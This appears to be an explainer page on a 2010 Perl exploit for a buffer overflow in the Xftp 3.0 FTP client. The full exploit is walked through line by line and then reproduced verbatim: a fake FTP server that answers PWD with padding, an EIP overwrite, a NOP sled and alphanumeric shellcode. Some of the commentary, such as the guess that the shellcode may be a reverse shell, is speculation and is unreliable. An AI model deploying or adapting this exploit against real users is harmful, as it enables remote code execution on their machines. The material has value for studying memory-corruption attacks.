Xftp Client 3.0 PWD Remote Overflow Explained

Xftp Client 3.0 PWD Remote Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in Xftp client version 3.0, specifically build 0238. The vulnerability is triggered by sending an excessively long response to the PWD (Print Working Directory) FTP command. The exploit, written in Perl, acts as a malicious FTP server that listens for connections from the vulnerable Xftp client. When the client sends a PWD command, the exploit server responds with a crafted, oversized PWD response that overwrites critical memory in the Xftp client, leading to a crash or, if crafted correctly, code execution.
Simple technical breakdown
The Xftp client, when communicating with an FTP server, expects a certain length for the directory path returned by the PWD command. If the server sends back a path that is much longer than expected, it can overflow a buffer allocated to store this path within the Xftp client's memory. This overflow can overwrite adjacent memory, including the instruction pointer (EIP), which dictates where the program should execute next. The exploit leverages this by sending a specially crafted, long string that includes:
- Padding: A large number of 'A' characters to fill the buffer and reach the point where the EIP can be overwritten.
- EIP Overwrite: A specific address that points to the attacker-controlled shellcode.
- NOP Sled: A sequence of "No Operation" instructions to ensure the execution reliably lands on the shellcode.
- Shellcode: The actual malicious code that the attacker wants to execute on the victim's machine.
The Perl script acts as a fake FTP server, waiting for the Xftp client to connect and issue commands. When it detects the PWD command, it sends the malicious payload.
Complete code and payload walkthrough
The Perl script sets up a basic FTP server and crafts the exploit payload.
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;#!/usr/bin/perl: Shebang line, indicating the script should be executed with the Perl interpreter.use warnings;: Enables Perl's warning system, which helps catch potential coding errors.use strict;: Enforces stricter coding rules, making the code more robust and less error-prone.use IO::Socket;: Imports theIO::Socketmodule, which is used for network socket programming (creating the server).
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!\n";IO::Socket::INET->new(...): Creates a new TCP/IP socket.LocalPort => '21': Binds the socket to port 21, the standard FTP control port. This is where the vulnerable Xftp client will attempt to connect.Proto => 'tcp': Specifies that the protocol is TCP.Listen => '1': Configures the socket to listen for incoming connections, allowing up to 1 pending connection.
or die "Socket Not Created $!\n";: If the socket creation fails, the script will exit with an error message.
print "#############################################################\n"
. "#Xftp client 3.0 PWD Exploit #\n"
. "#Listening on port 21 #\n"
. "#By:zombiefx Email: darkernet[at]gmail.com #\n"
. "#Major Greetz to corelanc0d3r/Dino Dai Zovi #\n"
. "#############################################################\n";- This block simply prints an informational banner to the console when the script starts, indicating its purpose and author.
my $junk = "\x41" x 1019;my $junk = "\x41" x 1019;: Defines a variable$junkcontaining 1019 bytes of the ASCII character 'A' (\x41). This is the initial padding to fill the buffer.
my $eip = pack( 'V', 0x100123AF ) x 4; #Universal ..i thinkmy $eip = pack( 'V', 0x100123AF ) x 4;: This is a critical part.0x100123AF: This is the target address that will overwrite the instruction pointer (EIP) in the vulnerable Xftp client. This address is expected to point to the shellcode. The comment#Universal ..i thinksuggests the author believed this address might be stable across different Windows XP SP3 installations, but this is often not the case in real-world scenarios.pack( 'V', ... ): Thepackfunction with the format 'V' packs a value as a little-endian unsigned integer (4 bytes).x 4: Repeats the packed 4-byte address four times. This is likely to ensure that the EIP register is consistently overwritten with the target address, even if the overflow happens slightly differently. In a typical overflow, one instance of the address would suffice to overwrite EIP. Repeating it might be a form of redundancy or to ensure it lands correctly in the overwritten stack frame.
my $nops = "\x90" x 55;my $nops = "\x90" x 55;: Defines$nopsas 55 bytes of the NOP (No Operation) instruction (\x90). This sequence, known as a "NOP sled," is placed before the shellcode. If the EIP lands anywhere within this NOP sled, the CPU will simply execute a series of NOPs until it reaches the actual shellcode, increasing the reliability of the exploit.
my $calcshell =
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
. "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
. "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
. "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
. "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
. "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
. "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
. "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
. "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
. "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
. "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
. "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
. "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
. "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";my $calcshell = ...;: This is the actual shellcode. The bytes are a sequence of machine instructions. Without a disassembler or debugger, it's difficult to determine the exact functionality of this specific shellcode from the raw bytes alone. However, typical shellcode for this era would aim to:- Establish a connection back to the attacker: Often a reverse TCP shell.
- Execute commands: Provide a command prompt on the victim machine.
- Download and execute further payloads: Act as a dropper.
- The initial bytes
\x89\xe2\xda\xc1\xd9\x72\xf4are often part of shellcode that decodes or decrypts itself, or sets up registers. The subsequent bytes are a mix of alphanumeric characters and other byte values, which are common in shellcode to bypass simple signature-based detection and to be printable if needed. The final\x41\x41are likely padding to align with certain structures or to ensure the shellcode ends cleanly.
my $payload = $junk . $eip . $nops . $calcshell;my $payload = $junk . $eip . $nops . $calcshell;: Concatenates all the parts of the exploit payload: the initial padding ($junk), the address to overwrite EIP ($eip), the NOP sled ($nops), and the shellcode ($calcshell). This combined string is what will be sent as the oversizedPWDresponse.
while ( my $data = $sock->accept() ) {
print "Client Connected!\nAwaiting Ftp commands: \n";
print $data "220 Microsoft FTP Service\r\n";
while (<$data>) {
print;
print $data "331 Anonymous access allowed.\r\n" if (/USER/i);
print $data "230-Welcome to FTP.MICROSOFT.COM.\r\n230 User logged in.\r\n" if (/PASS/i);
print $data "257 \"/$payload\" is current directory.\r\n" if (/PWD/i);
}
print "Payload delivered check the client!\n";
}while ( my $data = $sock->accept() ) { ... }: This loop continuously accepts incoming client connections.print "Client Connected!\nAwaiting Ftp commands: \n";: Informs the operator that a client has connected.print $data "220 Microsoft FTP Service\r\n";: Sends a standard FTP greeting message.while (<$data>) { ... }: This inner loop reads commands sent by the client.print;: Prints the received command to the server's console for logging.print $data "331 Anonymous access allowed.\r\n" if (/USER/i);: If the client sends aUSERcommand (case-insensitive), the server responds with331 Anonymous access allowed.. This is a standard FTP response.print $data "230-Welcome to FTP.MICROSOFT.COM.\r\n230 User logged in.\r\n" if (/PASS/i);: If the client sends aPASScommand, the server responds with a success message, simulating a logged-in user.print $data "257 \"/$payload\" is current directory.\r\n" if (/PWD/i);: This is the core of the exploit. If the client sends aPWDcommand, the server responds with257followed by the crafted$payload. This$payloadcontains the overflow data, the EIP overwrite, the NOP sled, and the shellcode. The Xftp client will attempt to parse this long string as a directory path, triggering the buffer overflow.
print "Payload delivered check the client!\n";: Informs the operator that the payload has been sent.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
# Exploit Title: Xftp client 3.0 PWD Remote Exploit
# Date: 2010-04-21
# Author: zombiefx
# Software Link: http://www.netsarang.com/download/down_xft3.html
# Version: Xftp 3.0 build 0238
# Tested on: Windows XP SP3
# Usage: ./xftp_exploit
# The BOF occurs when sending an overly long PWD response.
###########################################################################
# EDB Testing Notes:
# Buffer is length sensitive. If too long (example: 3000 bytes) you won't
# even get a crash at all. Tested on Windows XP SP3 ENG.
###########################################################################
# Code:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!\n";
print "#############################################################\n"
. "#Xftp client 3.0 PWD Exploit #\n"
. "#Listening on port 21 #\n"
. "#By:zombiefx Email: darkernet[at]gmail.com #\n"
. "#Major Greetz to corelanc0d3r/Dino Dai Zovi #\n"
. "#############################################################\n";
my $junk = "\x41" x 1019;
my $eip = pack( 'V', 0x100123AF ) x 4; #Universal ..i think
my $nops = "\x90" x 55;
my $calcshell =
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
. "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
. "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
. "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
. "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
. "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
. "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
. "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
. "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
. "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
. "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
. "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
. "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
. "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload = $junk . $eip . $nops . $calcshell;
while ( my $data = $sock->accept() ) {
print "Client Connected!\nAwaiting Ftp commands: \n";
print $data "220 Microsoft FTP Service\r\n";
while (<$data>) {
print;
print $data "331 Anonymous access allowed.\r\n" if (/USER/i);
print $data "230-Welcome to FTP.MICROSOFT.COM.\r\n230 User logged in.\r\n" if (/PASS/i);
print $data "257 \"/$payload\" is current directory.\r\n" if (/PWD/i);
}
print "Payload delivered check the client!\n";
}